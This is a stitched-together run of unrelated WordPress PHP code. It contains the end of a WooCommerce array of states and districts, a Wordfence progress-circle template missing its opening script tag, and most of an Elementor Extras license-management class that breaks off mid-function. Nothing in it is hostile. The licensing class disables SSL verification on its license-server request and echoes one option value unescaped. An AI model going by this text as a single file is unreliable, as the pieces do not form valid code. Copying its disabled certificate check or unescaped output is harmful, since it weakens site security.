		'RS14' => _x( 'Bor', 'district', 'woocommerce' ),
		'RS11' => _x( 'Braničevo', 'district', 'woocommerce' ),
		'RS02' => _x( 'Central Banat', 'district', 'woocommerce' ),
		'RS10' => _x( 'Danube', 'district', 'woocommerce' ),
		'RS23' => _x( 'Jablanica', 'district', 'woocommerce' ),
		'RS09' => _x( 'Kolubara', 'district', 'woocommerce' ),
		'RS08' => _x( 'Mačva', 'district', 'woocommerce' ),
		'RS17' => _x( 'Morava', 'district', 'woocommerce' ),
		'RS20' => _x( 'Nišava', 'district', 'woocommerce' ),
		'RS01' => _x( 'North Bačka', 'district', 'woocommerce' ),
		'RS03' => _x( 'North Banat', 'district', 'woocommerce' ),
		'RS24' => _x( 'Pčinja', 'district', 'woocommerce' ),
		'RS22' => _x( 'Pirot', 'district', 'woocommerce' ),
		'RS13' => _x( 'Pomoravlje', 'district', 'woocommerce' ),
		'RS19' => _x( 'Rasina', 'district', 'woocommerce' ),
		'RS18' => _x( 'Raška', 'district', 'woocommerce' ),
		'RS06' => _x( 'South Bačka', 'district', 'woocommerce' ),
		'RS04' => _x( 'South Banat', 'district', 'woocommerce' ),
		'RS07' => _x( 'Srem', 'district', 'woocommerce' ),
		'RS12' => _x( 'Šumadija', 'district', 'woocommerce' ),
		'RS21' => _x( 'Toplica', 'district', 'woocommerce' ),
		'RS05' => _x( 'West Bačka', 'district', 'woocommerce' ),
		'RS15' => _x( 'Zaječar', 'district', 'woocommerce' ),
		'RS16' => _x( 'Zlatibor', 'district', 'woocommerce' ),
		'RS25' => _x( 'Kosovo', 'district', 'woocommerce' ),
		'RS26' => _x( 'Peć', 'district', 'woocommerce' ),
		'RS27' => _x( 'Prizren', 'district', 'woocommerce' ),
		'RS28' => _x( 'Kosovska Mitrovica', 'district', 'woocommerce' ),
		'RS29' => _x( 'Kosovo-Pomoravlje', 'district', 'woocommerce' ),
		'RSKM' => _x( 'Kosovo-Metohija', 'district', 'woocommerce' ),
		'RSVO' => _x( 'Vojvodina', 'district', 'woocommerce' ),
	),
	'SE' => array(),
	'UG' => array( // Uganda districts. Ref: https://en.wikipedia.org/wiki/ISO_3166-2:UG.
		'UG314' => __( 'Abim', 'woocommerce' ),
		'UG301' => __( 'Adjumani', 'woocommerce' ),
		'UG322' => __( 'Agago', 'woocommerce' ),
		'UG323' => __( 'Alebtong', 'woocommerce' ),
		'UG315' => __( 'Amolatar', 'woocommerce' ),
		'UG324' => __( 'Amudat', 'woocommerce' ),
		'UG216' => __( 'Amuria', 'woocommerce' ),
		'UG316' => __( 'Amuru', 'woocommerce' ),
		'UG302' => __( 'Apac', 'woocommerce' ),
		'UG303' => __( 'Arua', 'woocommerce' ),
		'UG217' => __( 'Budaka', 'woocommerce' ),
		'UG218' => __( 'Bududa', 'woocommerce' ),
		'UG201' => __( 'Bugiri', 'woocommerce' ),
		'UG235' => __( 'Bugweri', 'woocommerce' ),
		'UG420' => __( 'Buhweju', 'woocommerce' ),
		'UG117' => __( 'Buikwe', 'woocommerce' ),
		'UG219' => __( 'Bukedea', 'woocommerce' ),
		'UG118' => __( 'Bukomansimbi', 'woocommerce' ),
		'UG220' => __( 'Bukwa', 'woocommerce' ),
		'UG225' => __( 'Bulambuli', 'woocommerce' ),
		'UG416' => __( 'Buliisa', 'woocommerce' ),
		'UG401' => __( 'Bundibugyo', 'woocommerce' ),
		'UG430' => __( 'Bunyangabu', 'woocommerce' ),
		'UG402' => __( 'Bushenyi', 'woocommerce' ),
		'UG202' => __( 'Busia', 'woocommerce' ),
		'UG221' => __( 'Butaleja', 'woocommerce' ),
		'UG119' => __( 'Butambala', 'woocommerce' ),
		'UG233' => __( 'Butebo', 'woocommerce' ),
		'UG120' => __( 'Buvuma', 'woocommerce' ),
		'UG226' => __( 'Buyende', 'woocommerce' ),
		'UG317' => __( 'Dokolo', 'woocommerce' ),
		'UG121' => __( 'Gomba', 'woocommerce' ),
		'UG304' => __( 'Gulu', 'woocommerce' ),
		'UG403' => __( 'Hoima', 'woocommerce' ),
		'UG417' => __( 'Ibanda', 'woocommerce' ),
		'UG203' => __( 'Iganga', 'woocommerce' ),
		'UG418' => __( 'Isingiro', 'woocommerce' ),
		'UG204' => __( 'Jinja', 'woocommerce' ),
		'UG318' => __( 'Kaabong', 'woocommerce' ),
		'UG404' => __( 'Kabale', 'woocommerce' ),
		'UG405' => __( 'Kabarole', 'woocommerce' ),
		'UG213' => __( 'Kaberamaido', 'woocommerce' ),
		'UG427' => __( 'Kagadi', 'woocommerce' ),
		'UG428' => __( 'Kakumiro', 'woocommerce' ),
		'UG101' => __( 'Kalangala', 'woocommerce' ),
		'UG222' => __( 'Kaliro', 'woocommerce' ),
		'UG122' => __( 'Kalungu', 'woocommerce' ),
		'UG102' => __( 'Kampala', 'woocommerce' ),
		'UG205' => __( 'Kamuli', 'woocommerce' ),
		'UG413' => __( 'Kamwenge', 'woocommerce' ),
		'UG414' => __( 'Kanungu', 'woocommerce' ),
		'UG206' => __( 'Kapchorwa', 'woocommerce' ),
		'UG236' => __( 'Kapelebyong', 'woocommerce' ),
		'UG126' => __( 'Kasanda', 'woocommerce' ),
		'UG406' => __( 'Kasese', 'woocommerce' ),
		'UG207' => __( 'Katakwi', 'woocommerce' ),
		'UG112' => __( 'Kayunga', 'woocommerce' ),
		'UG407' => __( 'Kibaale', 'woocommerce' ),
		'UG103' => __( 'Kiboga', 'woocommerce' ),
		'UG227' => __( 'Kibuku', 'woocommerce' ),
		'UG432' => __( 'Kikuube', 'woocommerce' ),
		'UG419' => __( 'Kiruhura', 'woocommerce' ),
		'UG421' => __( 'Kiryandongo', 'woocommerce' ),
		'UG408' => __( 'Kisoro', 'woocommerce' ),
		'UG305' => __( 'Kitgum', 'woocommerce' ),
		'UG319' => __( 'Koboko', 'woocommerce' ),
		'UG325' => __( 'Kole', 'woocommerce' ),
		'UG306' => __( 'Kotido', 'woocommerce' ),
		'UG208' => __( 'Kumi', 'woocommerce' ),
		'UG333' => __( 'Kwania', 'woocommerce' ),
		'UG228' => __( 'Kween', 'woocommerce' ),
		'UG123' => __( 'Kyankwanzi', 'woocommerce' ),
		'UG422' => __( 'Kyegegwa', 'woocommerce' ),
		'UG415' => __( 'Kyenjojo', 'woocommerce' ),
		'UG125' => __( 'Kyotera', 'woocommerce' ),
		'UG326' => __( 'Lamwo', 'woocommerce' ),
		'UG307' => __( 'Lira', 'woocommerce' ),
		'UG229' => __( 'Luuka', 'woocommerce' ),
		'UG104' => __( 'Luwero', 'woocommerce' ),
		'UG124' => __( 'Lwengo', 'woocommerce' ),
		'UG114' => __( 'Lyantonde', 'woocommerce' ),
		'UG223' => __( 'Manafwa', 'woocommerce' ),
		'UG320' => __( 'Maracha', 'woocommerce' ),
		'UG105' => __( 'Masaka', 'woocommerce' ),
		'UG409' => __( 'Masindi', 'woocommerce' ),
		'UG214' => __( 'Mayuge', 'woocommerce' ),
		'UG209' => __( 'Mbale', 'woocommerce' ),
		'UG410' => __( 'Mbarara', 'woocommerce' ),
		'UG423' => __( 'Mitooma', 'woocommerce' ),
		'UG115' => __( 'Mityana', 'woocommerce' ),
		'UG308' => __( 'Moroto', 'woocommerce' ),
		'UG309' => __( 'Moyo', 'woocommerce' ),
		'UG106' => __( 'Mpigi', 'woocommerce' ),
		'UG107' => __( 'Mubende', 'woocommerce' ),
		'UG108' => __( 'Mukono', 'woocommerce' ),
		'UG334' => __( 'Nabilatuk', 'woocommerce' ),
		'UG311' => __( 'Nakapiripirit', 'woocommerce' ),
		'UG116' => __( 'Nakaseke', 'woocommerce' ),
		'UG109' => __( 'Nakasongola', 'woocommerce' ),
		'UG230' => __( 'Namayingo', 'woocommerce' ),
		'UG234' => __( 'Namisindwa', 'woocommerce' ),
		'UG224' => __( 'Namutumba', 'woocommerce' ),
		'UG327' => __( 'Napak', 'woocommerce' ),
		'UG310' => __( 'Nebbi', 'woocommerce' ),
		'UG231' => __( 'Ngora', 'woocommerce' ),
		'UG424' => __( 'Ntoroko', 'woocommerce' ),
		'UG411' => __( 'Ntungamo', 'woocommerce' ),
		'UG328' => __( 'Nwoya', 'woocommerce' ),
		'UG331' => __( 'Omoro', 'woocommerce' ),
		'UG329' => __( 'Otuke', 'woocommerce' ),
		'UG321' => __( 'Oyam', 'woocommerce' ),
		'UG312' => __( 'Pader', 'woocommerce' ),
		'UG332' => __( 'Pakwach', 'woocommerce' ),
		'UG210' => __( 'Pallisa', 'woocommerce' ),
		'UG110' => __( 'Rakai', 'woocommerce' ),
		'UG429' => __( 'Rubanda', 'woocommerce' ),
		'UG425' => __( 'Rubirizi', 'woocommerce' ),
		'UG431' => __( 'Rukiga', 'woocommerce' ),
		'UG412' => __( 'Rukungiri', 'woocommerce' ),
		'UG111' => __( 'Sembabule', 'woocommerce' ),
		'UG232' => __( 'Serere', 'woocommerce' ),
		'UG426' => __( 'Sheema', 'woocommerce' ),
		'UG215' => __( 'Sironko', 'woocommerce' ),
		'UG211' => __( 'Soroti', 'woocommerce' ),
		'UG212' => __( 'Tororo', 'woocommerce' ),
		'UG113' => __( 'Wakiso', 'woocommerce' ),
		'UG313' => __( 'Yumbe', 'woocommerce' ),
		'UG330' => __( 'Zombo', 'woocommerce' ),
	),
	'UM' => array(
		'81' => __( 'Baker Island', 'woocommerce' ),
		'84' => __( 'Howland Island', 'woocommerce' ),
		'86' => __( 'Jarvis Island', 'woocommerce' ),
		'67' => __( 'Johnston Atoll', 'woocommerce' ),
		'89' => __( 'Kingman Reef', 'woocommerce' ),
		'71' => __( 'Midway Atoll', 'woocommerce' ),
		'76' => __( 'Navassa Island', 'woocommerce' ),
		'95' => __( 'Palmyra Atoll', 'woocommerce' ),
		'79' => __( 'Wake Island', 'woocommerce' ),
	),
	'US' => array( // United States.
		'AL' => __( 'Alabama', 'woocommerce' ),
		'AK' => __( 'Alaska', 'woocommerce' ),
		'AZ' => __( 'Arizona', 'woocommerce' ),
		'AR' => __( 'Arkansas', 'woocommerce' ),
		'CA' => __( 'California', 'woocommerce' ),
		'CO' => __( 'Colorado', 'woocommerce' ),
		'CT' => __( 'Connecticut', 'woocommerce' ),
		'DE' => __( 'Delaware', 'woocommerce' ),
		'DC' => __( 'District Of Columbia', 'woocommerce' ),
		'FL' => __( 'Florida', 'woocommerce' ),
		'GA' => _x( 'Georgia', 'US state of Georgia', 'woocommerce' ),
		'HI' => __( 'Hawaii', 'woocommerce' ),
		'ID' => __( 'Idaho', 'woocommerce' ),
		'IL' => __( 'Illinois', 'woocommerce' ),
		'IN' => __( 'Indiana', 'woocommerce' ),
		'IA' => __( 'Iowa', 'woocommerce' ),
		'KS' => __( 'Kansas', 'woocommerce' ),
		'KY' => __( 'Kentucky', 'woocommerce' ),
		'LA' => __( 'Louisiana', 'woocommerce' ),
		'ME' => __( 'Maine', 'woocommerce' ),
		'MD' => __( 'Maryland', 'woocommerce' ),
		'MA' => __( 'Massachusetts', 'woocommerce' ),
		'MI' => __( 'Michigan', 'woocommerce' ),
		'MN' => __( 'Minnesota', 'woocommerce' ),
		'MS' => __( 'Mississippi', 'woocommerce' ),
		'MO' => __( 'Missouri', 'woocommerce' ),
		'MT' => __( 'Montana', 'woocommerce' ),
		'NE' => __( 'Nebraska', 'woocommerce' ),
		'NV' => __( 'Nevada', 'woocommerce' ),
		'NH' => __( 'New Hampshire', 'woocommerce' ),
		'NJ' => __( 'New Jersey', 'woocommerce' ),
		'NM' => __( 'New Mexico', 'woocommerce' ),
		'NY' => __( 'New York', 'woocommerce' ),
		'NC' => __( 'North Carolina', 'woocommerce' ),
		'ND' => __( 'North Dakota', 'woocommerce' ),
		'OH' => __( 'Ohio', 'woocommerce' ),
		'OK' => __( 'Oklahoma', 'woocommerce' ),
		'OR' => __( 'Oregon', 'woocommerce' ),
		'PA' => __( 'Pennsylvania', 'woocommerce' ),
		'RI' => __( 'Rhode Island', 'woocommerce' ),
		'SC' => __( 'South Carolina', 'woocommerce' ),
		'SD' => __( 'South Dakota', 'woocommerce' ),
		'TN' => __( 'Tennessee', 'woocommerce' ),
		'TX' => __( 'Texas', 'woocommerce' ),
		'UT' => __( 'Utah', 'woocommerce' ),
		'VT' => __( 'Vermont', 'woocommerce' ),
		'VA' => __( 'Virginia', 'woocommerce' ),
		'WA' => __( 'Washington', 'woocommerce' ),
		'WV' => __( 'West Virginia', 'woocommerce' ),
		'WI' => __( 'Wisconsin', 'woocommerce' ),
		'WY' => __( 'Wyoming', 'woocommerce' ),
		'AA' => __( 'Armed Forces (AA)', 'woocommerce' ),
		'AE' => __( 'Armed Forces (AE)', 'woocommerce' ),
		'AP' => __( 'Armed Forces (AP)', 'woocommerce' ),
	),
	'VN' => array(),
	'YT' => array(),
	'ZA' => array( // South African states.
		'EC'  => __( 'Eastern Cape', 'woocommerce' ),
		'FS'  => __( 'Free State', 'woocommerce' ),
		'GP'  => __( 'Gauteng', 'woocommerce' ),
		'KZN' => __( 'KwaZulu-Natal', 'woocommerce' ),
		'LP'  => __( 'Limpopo', 'woocommerce' ),
		'MP'  => __( 'Mpumalanga', 'woocommerce' ),
		'NC'  => __( 'Northern Cape', 'woocommerce' ),
		'NW'  => __( 'North West', 'woocommerce' ),
		'WC'  => __( 'Western Cape', 'woocommerce' ),
	),
	'ZM' => array( // Zambia's Provinces. Ref: https://en.wikipedia.org/wiki/ISO_3166-2:ZM.
		'ZM-01' => __( 'Western', 'woocommerce' ),
		'ZM-02' => __( 'Central', 'woocommerce' ),
		'ZM-03' => __( 'Eastern', 'woocommerce' ),
		'ZM-04' => __( 'Luapula', 'woocommerce' ),
		'ZM-05' => __( 'Northern', 'woocommerce' ),
		'ZM-06' => __( 'North-Western', 'woocommerce' ),
		'ZM-07' => __( 'Southern', 'woocommerce' ),
		'ZM-08' => __( 'Copperbelt', 'woocommerce' ),
		'ZM-09' => __( 'Lusaka', 'woocommerce' ),
		'ZM-10' => __( 'Muchinga', 'woocommerce' ),
	),
);
<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
/** 
 * Expects $id, $diameter (in pixels), $percentage (as decimal value), $inactiveColor, and $activeColor to be defined. 
 * $animateIn is optional and defaults to true.
 * $strokeWidth is option and defaults to 3 (pixels).
 * 
 * @var string $id
 */

if (!isset($animateIn)) { $animateIn = true; }
if (!isset($strokeWidth)) { $strokeWidth = 3; }

$strokeWidth = intval($strokeWidth);
$diameter = intval($diameter);

?>
<div id="<?php echo esc_attr($id); ?>" class="wf-status-circular"></div>

	(function($) {
		$('#<?php echo esc_attr($id); ?>').wfCircularProgress({
			endPercent: <?php echo $percentage; ?>,
			color: '<?php echo esc_attr($activeColor); ?>',
			inactiveColor: '<?php echo esc_attr($inactiveColor); ?>',
			strokeWidth: <?php echo $strokeWidth; ?>,
			diameter: <?php echo $diameter; ?>,
		});
	})(jQuery);
</script><?php
namespace ElementorExtras;

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Handles license input and validation
 */
class Licensing {

	/**
	 * @var string  The license key for this installation
	 */
	private $license_key;

	/**
	 * The text domain of the plugin or theme using this class.
	 * Populated in the class's constructor.
	 *
	 * @var String  The text domain of the plugin / theme.
	 */
	private $text_domain;

	/**
	 * The name of the product using this class. Configured in the class's constructor.
	 *
	 * @var int     The name of the product (plugin / theme) using this class.
	 */
	private $product_name;

	// License Statuses
	const STATUS_VALID 			= 'valid';
	const STATUS_INVALID 		= 'invalid';
	const STATUS_EXPIRED 		= 'expired';
	const STATUS_DEACTIVATED 	= 'deactivated';
	const STATUS_SITE_INACTIVE 	= 'site_inactive';
	const STATUS_DISABLED 		= 'disabled';
	const STATUS_LIMIT 			= 'no_activations_left';

	/**
	 * Construct
	 *
	 * @since 0.1.0
	 */
	public function __construct( $product_id, $product_name, $text_domain ) {
		// Store setup data
		$this->text_domain 		= $text_domain;
		$this->product_name 	= $product_name;

		// Init
		$this->add_actions();
	}

	/**
	 * Adds actions required for class functionality
	 *
	 * @since 0.1.0
	 */
	public function add_actions() {
		if ( is_admin() ) {

			// Add the menu screen for inserting license information
			add_action( 'admin_menu', 										array( $this, 'add_license_settings_page' ), 201 );
			add_action( 'admin_init', 										array( $this, 'register_license_settings' ) );
			add_action( 'admin_post_elementor_extras_license_activate', 	array( $this, 'activate_license' ) );
			add_action( 'admin_post_elementor_extras_license_deactivate', 	array( $this, 'deactivate_license' ) );
			add_action( 'admin_notices', 									array( $this, 'admin_notices' ), 19 );
		}
	}

	/**
	 * Get status errors
	 * Retrieves error messages data
	 *
	 * @since 	2.1.0
	 * @return  array
	 */
	public static function get_status_errors() {

		return [
			self::STATUS_EXPIRED => [
				'title' 		=> __( 'Your License Has Expired', 'elementor-extras' ),
				'message' 		=> __( 'Seems that your license has expired.', 'elementor-extras' ),
				'action'		=> __( '<a href="%s" target="_blank">Renew your license today</a> to keep getting updates and access to premium support.', 'elementor-extras' ),
				'link'			=> 'https://shop.namogo.com/checkout/?edd_license_key=' . self::get_license_key() . '&download_id=19',
				'label'			=> 'expired',
				'dismissable' 	=> [
					'key' 		=> 'license-expired',
					'duration' 	=> 7,
				],
			],
			self::STATUS_DISABLED => [
				'title' 		=> __( 'Your License Is Inactive', 'elementor-extras' ),
				'message' 		=> __( '<strong>Your license key has been cancelled</strong> (most likely due to a refund request). Please consider acquiring a new license.', 'elementor-extras' ),
				'label'			=> 'disabled',
				'dismissable' 	=> [
					'key' 		=> 'license-expired',
					'duration' 	=> 2,
				],
			],
			self::STATUS_INVALID => [
				'title' 		=> __( 'Invalid License', 'elementor-extras' ),
				'message' 		=> __( '<strong>Your license key doesn\'t match the current domain</strong>..', 'elementor-extras' ),
				'action'		=> __( 'Please check the license key you received after purchase and <a href="%s">re-activate it on this domain.</a>.', 'elementor-extras' ),
				'link'			=> admin_url( 'admin.php?page=elementor_extras_license' ),
				'label'			=> 'invalid',
			],
			self::STATUS_SITE_INACTIVE => [
				'title' 		=> __( 'License Mismatch', 'elementor-extras' ),
				'message' 		=> __( '<strong>Your license key doesn\'t seem to be active on this domain</strong>. This usually happens when moving the website from one domain to another, changing the website URL or migrating to HTTPS/SSL.', 'elementor-extras' ),
				'action'		=> __( 'Please <a href="%s">re-activate your license</a>.', 'elementor-extras' ),
				'link'			=> admin_url( 'admin.php?page=elementor_extras_license' ),
				'label'			=> 'mismatch',
			],
			self::STATUS_LIMIT 	=> [
				'title' 		=> __( 'Activation Limit Reached', 'elementor-extras' ),
				'message'		=> __( '<strong>Unfortunately you don\'t have any more activations left.</strong> Login to your account to see on which sites the license is currently active.', 'elementor-extras' ),
				'action'		=> __( '<a href="%s" target="_blank">Please upgrade your license.</a>', 'elementor-extras' ),
				'link'			=> 'https://shop.namogo.com/account/license-keys/',
				'label'			=> 'limit reached',
			],
		];
	}

	/**
	 * Get errors
	 *
	 * Retrieves errors and their corresponding bodies
	 *
	 * @since 	2.1.0
	 * @return 	array
	 * @access 	public
	 */
	public function get_activation_errors() {
		return [
			'no_activations_left' 	=> $this->get_error_body( self::STATUS_LIMIT ),
			'expired' 				=> $this->get_error_body( self::STATUS_EXPIRED ),
			'missing' 				=> $this->get_error_body( self::STATUS_INVALID ),
			'revoked' 				=> $this->get_error_body( self::STATUS_DISABLED ),
			'disabled' 				=> $this->get_error_body( self::STATUS_DISABLED ),
			'key_mismatch' 			=> $this->get_error_body( self::STATUS_SITE_INACTIVE ),
		];
	}

	/**
	 * Build error message body string
	 *
	 * @since 	2.1.0
	 * @return 	string
	 * @access 	private
	 */
	private function get_error_body( $key ) {
		$errors 	= self::get_status_errors();

		$message 	= $errors[ $key ][ 'message' ];
		$body 		= $message;

		if ( ! empty( $errors[ $key ][ 'action' ] ) ) {
			if ( ! empty( $errors[ $key ][ 'link' ] ) ) {
				$body .= ' ' . sprintf( $errors[ $key ][ 'action' ], $errors[ $key ][ 'link' ] );
			} else {
				$body .= ' ' . $errors[ $key ][ 'action' ];
			}
		}

		return $body;
	}

	/**
	 * Retrieve error message
	 * Returns generic message if error index doesn't exist
	 *
	 * @since  	2.1.0
	 * @return 	string
	 * @access  public
	 */
	public function get_activation_error_message( $error ) {
		$errors = $this->get_activation_errors();

		if ( isset( $errors[ $error ] ) ) {
			$error_msg = $errors[ $error ];
		} else {
			$error_msg = __( 'An error occurred. Please check your internet connection and try again. If the problem persists, contact our support.', 'elementor-extras' ) . ' (' . $error . ')';
		}

		return $error_msg;
	}

	/**
	 * Gets the currently set license key
	 *
	 * @since 	0.1.0
	 * @return 	bool|string   The product license key, or false
	 */
	public static function get_license_key() {

		$license = get_option( 'elementor_extras_license_key' );

		if ( ! $license ) {
			// User hasn't saved the license to settings yet. No use making the call.
			return false;
		}

		return trim( $license );
	}

	/**
	 * Replaces license key string with special characters to hide it
	 *
	 * @since 0.1.0
	 * @return string
	 */
	private function get_hidden_license_key() {
		$input_string = self::get_license_key();

		$start = 5;
		$length = mb_strlen( $input_string ) - $start - 5;

		$mask_string = preg_replace( '/\S/', '*', $input_string );
		$mask_string = mb_substr( $mask_string, $start, $length );
		$input_string = substr_replace( $input_string, $mask_string, $start, $length );

		return $input_string;
	}

	/**
	 * Updates the license key option
	 *
	 * @apram 	bool|string   The product license key, or false if not set
	 * @since 	2.1.0
	 */
	public function set_license_key( $license_key ) {
		return update_option( 'elementor_extras_license_key', $license_key );
	}

	/**
	 * Retrieves the license data from transient or remotely
	 *
	 * @return 	bool|string   The product license key, or false if not set
	 * @since 	2.1.0
	 */
	public static function get_license_data( $force_request = false ) {
		$license_data = get_transient( 'elementor_extras_license_data' );

		if ( false === $license_data || $force_request ) {
			$license_data = self::get_remote_license_response( self::get_license_key() );

			if ( is_wp_error( $license_data ) ) {
				$license_data = [
					'license' 			=> 'http_error',
					'payment_id' 		=> '0',
					'license_limit' 	=> '0',
					'site_count' 		=> '0',
					'activations_left' 	=> '0',
				];

				self::set_license_data( $license_data, 30 * MINUTE_IN_SECONDS );
			} else {
				self::set_license_data( $license_data );
			}
		}

		return $license_data;
	}

	/**
	 * Updates the license data transient
	 *
	 * @return 	void   The product license key, or false if not set
	 * @since 	2.1.0
	 */
	public static function set_license_data( $license_data, $expiration = null ) {
		if ( null === $expiration ) {
			$expiration = 12 * HOUR_IN_SECONDS;
		}

		set_transient( 'elementor_extras_license_data', $license_data, $expiration );
	}

	/**
	 * Retrieves the remote license status
	 *
	 * @param  	license The license key
	 * @return 	object|bool   The status data
	 * @since 	2.1.0
	 */
	private static function get_remote_license_response( $license, $action = 'check_license' ) {

		// data to send in our API request
		$api_params = array(
			'edd_action' => $action,
			'license'    => $license,
			'item_name'  => urlencode( ELEMENTOR_EXTRAS_SL_ITEM_NAME ), // the name of our product in EDD
			'site_lang'  => get_bloginfo( 'language' ),
			'url'        => home_url(),
		);

		// Call the custom API.
		$response = wp_remote_post( ELEMENTOR_EXTRAS_STORE_URL,
			array(
				'timeout' 	=> 40,
				'sslverify' => false,
				'body' 		=> $api_params
			)
		);

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response_code = wp_remote_retrieve_response_code( $response );

		if ( 200 !== (int) $response_code ) {
			return new \WP_Error( $response_code, __( 'Could not connect to server. Please contact us if this problem persists.', 'elementor-extras' ) );
		}

		$data = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( empty( $data ) || ! is_array( $data ) ) {
			return new \WP_Error( 'no_json', __( 'An error occurred, please try again', 'elementor-extras' ) );
		}

		return $data;
	}

	/**
	 * Creates the settings items for entering license information (email + license key).
	 *
	 * NOTE:
	 * If you want to move the license settings somewhere else (e.g. your theme / plugin
	 * settings page), we suggest you override this function in a subclass and
	 * initialize the settings fields yourself. Just make sure to use the same
	 * settings fields so that Nmg_License_Manager_Client can still find the settings values.
	 *
	 * @since 0.1.0
	 */
	public function add_license_settings_page() {
		add_submenu_page(
			'elementor_extras_license',
			__( 'Extras License', $this->text_domain ),
			__( 'Extras License', $this->text_domain ),
			'manage_options',
			$this->get_settings_page_slug(),
			[ $this, 'render_licenses_page' ]
		);
	}

	/**
	 * Creates the settings fields needed for the license settings menu.
	 *
	 * @since 0.1.0
	 */
	public function register_license_settings() {
		// creates our settings in the options table
		register_setting( $this->get_settings_page_slug(), 'elementor_extras_license_key', 'sanitize_license' );
	}

	/**
	 * Sanitize License
	 */
	public function sanitize_license( $new ) {
		$old = get_option( 'elementor_extras_license_key' );
		if ( $old && $old != $new ) {
			delete_option( 'elementor_extras_license_status' ); // new license has been entered, so must reactivate
		}
		return $new;
	}

	/**
	 * Renders the settings page for entering license information.
	 *
	 * @since 0.1.0
	 */
	public function render_licenses_page() {

		$license_key 	= self::get_license_key();
		$title 			= sprintf( __( '%s License', $this->text_domain ), $this->product_name );
		$disabled 		= ! empty( $license_key ) ? 'disabled' : '';

		?>
		<div class="wrap">

			<h1><?php echo $title; ?></h1>

			<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">

				<?php settings_fields( $this->get_settings_page_slug() ); ?>

				<?php wp_nonce_field( 'elementor_extras_license_nonce', 'elementor_extras_license_nonce' ); ?>

				<div class="metabox-holder ee-metabox-holder ee-settings">

					<p><?php _e( 'On this page you can add or change your licensing information.', $this->text_domain ); ?></p>

					<table class="form-table ee-form-table ee-form-table--compact">
						<tbody>
							<tr valign="top" class="ee-form-table__row">
								<th scope="row" valign="top" class="ee-form-table__cell ee-form-table__cell--header">
									<label for="elementor_extras_license_key"><?php _e( 'License Key', $this->text_domain ); ?>:</label>
								</th>
								<td class="ee-form-table__cell">
									<input <?php echo $disabled; ?> id="elementor_extras_license_key" name="elementor_extras_license_key" type="text" class="regular-text" value="<?php echo esc_attr( self::get_hidden_license_key() ); ?>" />
								</td>
							</tr><?php

							if ( empty( $license_key ) ) {
							
							?><tr valign="top" class="ee-form-table__row">
								<th scope="row" valign="top" class="ee-form-table__cell ee-form-table__cell--header"></th>
								<td class="ee-form-table__cell">
									<input type="hidden" name="action" value="elementor_extras_license_activate" /><?php 
									submit_button( __( 'Activate', $this->text_domain ), 'button-primary button-large', 'submit', false, array( 'class' => 'button button-primary' ) ); 
								?></td>
							</tr><?php

							} else {

							$license_data = self::get_license_data( true );
							$errors = self::get_status_errors();

							?><tr valign="top" class="ee-form-table__row">
								<th scope="row" valign="top" class="ee-form-table__cell ee-form-table__cell--header"><?php _e( 'Status', 'elementor-extras' ); ?>:</th>
								<td class="ee-form-table__cell ee-form-table__cell--strong">
									<?php if ( self::STATUS_EXPIRED === $license_data['license'] ) : ?>
										<span style="color: #ff0000;"><?php _e( 'Expired', 'elementor-extras' ); ?></span>
									<?php elseif ( self::STATUS_SITE_INACTIVE === $license_data['license'] ) : ?>
										<span style="color: #ff0000;"><?php _e( 'Mismatch', 'elementor-extras' ); ?></span>
									<?php elseif ( self::STATUS_INVALID === $license_data['license'] ) : ?>
										<span style="color: #ff0000;"><?php _e( 'Invalid', 'elementor-extras' ); ?></span>
									<?php elseif ( self::STATUS_DISABLED === $license_data['license'] ) : ?>
										<span style="color: #ff0000;"><?php _e( 'Disabled', 'elementor-extras' ); ?></span>
									<?php else : ?>
										<span style="color: #008000;"><?php _e( 'Active', 'elementor-extras' ); ?></span>
									<?php endif; ?>
								</td>
							</tr><?php

							if ( self::STATUS_EXPIRED === $license_data['license'] ) :
								?><p class="ee-admin-notice ee-admin-notice--danger"><?php
									echo $errors[ self::STATUS_EXPIRED ]['message'] . ' ';
									printf( $errors[ self::STATUS_EXPIRED ]['action'], $errors[ self::STATUS_EXPIRED ]['link'] );
								?></p><?php
							endif;

							if ( self::STATUS_SITE_INACTIVE === $license_data['license'] ) :
								 ?><p class="ee-admin-notice ee-admin-notice--warning"><?php
									echo $errors[ self::STATUS_SITE_INACTIVE ]['message'];
								?></p><?php
							endif;

							if ( self::STATUS_INVALID === $license_data['license'] ) :
								?><p class="ee-admin-notice ee-admin-notice--warning"><?php
									echo $errors[ self::STATUS_INVALID ]['message'];
								?></p><?php
							endif;

							 ?><tr valign="top" class="ee-form-table__row">
								<th scope="row" valign="top" class="ee-form-table__cell ee-form-table__cell--header"></th>
								<td class="ee-form-table__cell">
									<input type="hidden" name="action" value="elementor_extras_license_deactivate" /><?php 
									submit_button( __( 'Deactivate', $this->text_domain ), 'button-primary button-large', 'submit', false, array( 'class' => 'button button-primary' ) ); ?>
								</td>
							</tr>

							<?php } ?>
						</tbody>
					</table>
				</div>

			</form>
		</div><?php
	}

	/**
	 * Renders the description for the settings section.
	 *
	 * @since 0.1.0
	 */
	public function render_settings_section() {
		printf( __( 'Insert your %s license information to enable future updates (including bug fixes and new features) and gain access to support.', $this->text_domain ), $this->product_name );
	}

	/**
	 * Renders the license key settings field on the license settings page.
	 *
	 * @since 0.1.0
	 */
	public function render_license_key_settings_field() {
		$settings_field_name = $this->get_settings_field_name();
		$options = get_option( $settings_field_name );
		?>
		<input type='text' name='<?php echo $settings_field_name; ?>[license_key]' value='<?php echo $options['license_key']; ?>' class='regular-text' /><?php
	}

	/**
	 * @return 	string   The slug id of the licenses settings page.
	 * @since 	0.1.0
	 */
	protected function get_settings_page_slug() {
		return 'elementor_extras_license';
	}

	/**
	 * @return 	string   The name of the settings field storing all license manager settings.
	 * @since 	0.1.0
	 */
	protected function get_settings_field_name() {
		return 'elementor_extras-license-settings';
	}

	/**
	 * Validates the license and saves the license key in the database
	 *
	 * @return object|bool   The product data, or false if API call fails.
	 * @since 0.1.0
	 */
	public function activate_license() {

		// run a quick security check
	 	if( ! check_admin_referer( 'elementor_extras_license_nonce', 'elementor_extras_license_nonce' ) ) {
			return; // get out if we didn't click the Activate button
	 	}

	 	// Check if license key field is set
		if ( empty( $_POST[ 'elementor_extras_license_key' ] ) ) {
			wp_die( __( 'Please enter your license key.', 'elementor-extras' ), __( 'Extras for Elementor', 'elementor-extras' ), [
				'back_link' => true,
